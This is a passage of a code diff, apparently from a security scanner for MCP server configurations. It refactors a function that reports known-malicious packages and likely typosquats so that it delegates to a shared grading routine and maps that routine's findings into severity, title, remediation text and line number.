- push('CRITICAL', `MCP server "${s.name}" runs a known-malicious package (${pkg})`, 'Remove this server and audit for compromise. Replace with a vetted alternative.', lineOf(content, pkg));
63
- } else {
64
- const squat = POPULAR_PACKAGES.find((p) => p !== pkg && editDistance(pkg, p) === 1);
65
- if (squat) push('MEDIUM', `Possible typosquat in "${s.name}": ${pkg} (looks like "${squat}")`, `Confirm the intended package is "${squat}", not "${pkg}", and pin it.`, lineOf(content, pkg));
66
- }
67
- }
68
- }
69
- return out;
36
+ export function localMcp(content, { path } = {}) {
37
+ const { findings } = gradeMcpDocument(content, path ?? '');
38
+ return findings.map((f) => {
39
+ const line = f.anchor ? lineOf(content, f.anchor) ?? lineOf(content, f.server) : lineOf(content, f.server);
40
+ return { severity: f.severity, title: f.title, remediationText: f.remediationText, ...(line ? { line } : {}) };
41
+ });
70
42
  }
71
43
 
72
44
  export function localAgentCard(content) {